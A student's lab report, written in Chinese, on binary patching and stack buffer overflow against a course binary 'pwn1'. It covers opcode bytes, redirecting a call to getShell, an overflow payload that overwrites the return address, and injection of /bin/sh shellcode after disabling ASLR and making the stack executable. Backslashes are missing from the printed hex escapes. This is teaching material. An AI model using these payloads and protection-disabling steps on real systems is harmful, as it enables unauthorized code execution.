一、逆向及Bof基础实践说明
需要掌握的知识点
1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
- NOP——空操作——“0x90”
- JNE(Jump if Not Equal)——条件跳转——“0x75”
- JE(Jump if Equal)——条件跳转——”0x74“
- JMP——无条件跳转——“0xeb”(短跳转)、“0xe9”(近跳转)、"0xEA"(远跳转)
- CMP——比较指令——“0x39”
相关用法和功能可以参考相关博客等资料汇编指令和机器码的对应表
2.掌握反汇编与十六进制编程器
- 反汇编命令:
objdump -d filename
在实验中,我们使用的命令是
"objdump"——object dump——项目转储
"-d"——disassemble——反汇编
"|"——管道符
"more"——分页显示
- 十六进制编程器
官方定义:“十六进制编辑器,用来以16进制视图进行文本编辑的编辑工具软件”
在我们的实验过程中,实际上我们使用vi打开文件,输入%!xxd将文件改为16进制显示,%!xxd -r
将文件改回ASCII码。并且使用Perl语言来形成包含十六进制的键盘输入perl -e 'print "xxx"' > input
。
二、能正确修改机器指令改变程序执行流程
-
知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具
-
学习目标:理解可执行文件与机器指令
-
进阶:掌握ELF文件格式,掌握动态技术
下载目标文件pwn1,反汇编。(预先输入cp pwn1 pwn2
备份)
输入命令objdump -d pwn1 | more
将pwn1反汇编,找到主函数位置
-
主函数中
call 8048491 <foo>
的汇编指令将调用位于地址8048491处的foo
函数,其对应机器指令为e8 d7ffffff
,e8
为跳转之意。当解释执行e8
这条指令时,CPU就会执行EIP + d7ffffff
这个位置的指令。d7ffffff
是补码,80484ba +d7ffffff= 80484ba-0x29是8048491的值 -
main函数调用foo,对应机器指令为
e8 d7ffffff
-
- 那如果要修改后让它调用
getShell
,只要修改d7ffffff
为getShell-80484ba
对应的补码就可以 - 通过计算得到补码为
c3ffffff
- 那如果要修改后让它调用
-
-
由此我们就修改可执行文件,将其中的call指令的目标地址由
d7ffffff
变为c3ffffff
以实现改变程序执行流程-
- 使用vim打开我们备份的pwn2,显示为乱码,输入
:%!xxd
将显示模式切换为16进制模式 - 查找要修改的内容
e8d7ffffff
,将其修改为c3ffffff
,之后使用:%!xxd -r
转换16进制为原格式后保存并退出
- 使用vim打开我们备份的pwn2,显示为乱码,输入
-
- 使用
objdump -d pwn2
对pwn2
反汇编,检查call指令是否正确调用getShell
运行pwn2,发现会得到shell提示符,证明我们的修改成功改变了程序执行流程。
(这里的图片不小心丢失了)
三、通过构造输入参数,造成BOF攻击,改变程序执行流
- 首先使用
objdump -d pwn1 | more
进行反汇编,了解程序的基本功能。
我们的目标是触发getShell
函数
该可执行文件正常运行是调用foo
函数,foo
函数有缓冲区溢出漏洞,超出系统预留长度的部分会造成溢出
我们可以利用此漏洞实现覆盖返回地址
确认输入字符串哪几个字符会覆盖到返回地址
使用gdb调试pwn1,使程序发生段错误,使用info r
查看寄存器的值
通过实践证明输入的字符的第33-36这四个字节将覆盖EIP寄存器中的值
- 确认用什么值来覆盖返回地址
getShell的内存地址为0804847d
,输入的字符串应该为11111111222222223333333344444444x7dx84x04x08
- 构造输入字符串
因为我们没法通过键盘输入x7dx84x04x08
这样的16进制值,所以先生成包括这样字符串的一个文件。x0a
表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。
在命令行上直接使用perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input
使输出重定向>将perl生成的字符串存储到文件input中。
执行后使用16进制查看指令xxd input
查看input文件的内容是否如预期。
然后使用(cat input; cat) | ./pwn1
将input的输入,通过管道符“|”,作为pwn1的输入。
经测试程序已经调用了getShell
函数,达到了改变程序执行流的目的
四、注入Shellcode并执行
- 首先准备一段Shellcode如下:
x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80
- 获取root权限后使用如下代码进行准备工作
apt-get install execstack //安装execstack execstack -s pwn1 //设置堆栈可执行 execstack -q pwn1 //查询文件的堆栈是否可执行,显示X pwn1则表示可执行 more /proc/sys/kernel/randomize_va_space //查看随机化是否关闭,如显示0则已关闭,否则未关闭 echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化 more /proc/sys/kernel/randomize_va_space
多数时候地址随机化会在重新启动之后再次开启,所以出现错误的时候记得检查地址随机化是否关闭。
- 构造要注入的payload。
Linux下有两种基本构造攻击buf的方法:
- retaddr+nop+shellcode
- nop+shellcode+retaddr
因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边
本次实验使用的缓冲区足够放shellcode,所以采用nops+shellcode+retaddr。
使用如下命令使输出重定向>将perl生成的字符串存储到文件input_shellcode中
perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode
上面最后的x4x3x2x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。
特别提醒:最后一个字符千万不能是x0a。不然下面的操作就做不了了。
打开一个终端使用(cat input_shellcode;cat) | ./pwn1
注入这段攻击buf
再开另外一个终端,准备使用gdb来调试pwn1这个进程。
首先输入ps -ef | grep pwn1
找到pwn1的进程号是1983
接下来
- 启动gdb,输入
attach 1983
- 输入
disassemble foo
,发现断在“080484ae” - 输入
break *0x080484ae
设置断点 - 在另外一个终端按下回车(这也是为什么攻击buf不能以x0a结尾)
- 回到gdb终端输入 c 继续运行,再输入
info r esp
,查看栈顶指针
0xfff7302c
存放的数据是01020304,那么shellcode地址就是高4个字节的地址。
接下来应该根据shellcode的地址再次构造攻击buf。
但是在实际操作中却出现了段错误的问题
前面并没有遇到太大困难的情况下,在实验的末尾遇到了挫折,属实让人郁闷。只能一次一次尝试,试图找出问题所在。
也正是因为尝试才发现了,每次进程号会出现不同,但是同时栈顶指针所在地址,也就是01020304所对应的地址每次都在变化,所以我找到了错误所在,因为在实验进行过程中有过多次的重新启动虚拟机,所以我的地址随机化并没有关闭,导致了这个结果。
从头开始,完全按照指导书的过程再来一次。
首先Perl
perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode
注入攻击bof(cat input_shellcode;cat) | ./pwn1(注意这里输入完成后只按一次回车,保证pwn1打开)
再打开另一个终端,首先输入 ps -ef | grep pwn1
找到pwn1的进程号
查询到是2372
- 启动gdb,输入
attach 2372
- 输入
disassemble foo
,发现断在“080484ae” - 输入
break *0x080484ae
设置断点 - 在另外一个终端按下回车(这也是为什么攻击buf不能以x0a结尾)
- 回到gdb终端输入c继续运行,再输入
info r esp
,查看栈顶指针。
发现01020304存放在 0xffffd1cc这个地址内,所以shellcode的地址就是0xffffd1d0。
重新构造攻击bof
- 此时我们重新形成input_shellcode,输入
perl -e 'print "A" x 32;print "xd0xd1xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
- 进行攻击,此时我们发现攻击终于成功了!呜呜
总结
实验收获与感想
这次实验相比以往有很大不同,无论是以前娄嘉鹏老师的相关实验还是安全编程中涉及到的相关溢出攻击等,多数都是基于C语言或者java等相对宏观的角度。这次的实验相比之下从堆栈、机器码、汇编语言等入手。想要单纯的完成确实不难,只要按部就班地对照指导书和往届学长学姐的相关博客就能很好地完成。但是如果不去真正的自己深入了解,光是视频中的一个一个框框就让人看得眼花,更别说遇到一些指导书中没有涉及到的错误了。只能自己去理解好,一步一步去调试找到错误原因,判断是否有先决条件没有完善。这样才能算得上真正理解掌握了这次实验。实验报告和实验完成中间也有着一段时间的间隔,(也导致了我有一张相关图片的丢失),主要是我想要从头开始再去细致的看下实验的过程,理解其中的含义,包括有些同学不会出现错误,也就不会去调试的这个过程。也要了解调试的过程的含义。把整个实验涉及到的知识点,尽力去理解,最少也要通过看视频网课的方式,去对它有一个基本的了解。
什么是漏洞?漏洞有什么危害
- 我认为漏洞就是漏洞是系统存在的硬件或软件上的弱点或缺陷,是在开发过程中产生的安全缺陷。代码本身存在的一些缺陷,它不会对用户正常合法的使用造成不便,但可以被恶意攻击者加以利用造成不必要的损失。原因在于程序员没有对程序可能被使用的任何语境进行周全的预期。
- 漏洞会使系统暴露在危险之中,威胁到系统的安全。漏洞也会被恶意攻击者利用来实现各种目的,从而可以在未授权的情况下访问或破坏系统,盗取用户隐私、损毁用户数据、造成严重的经济损失。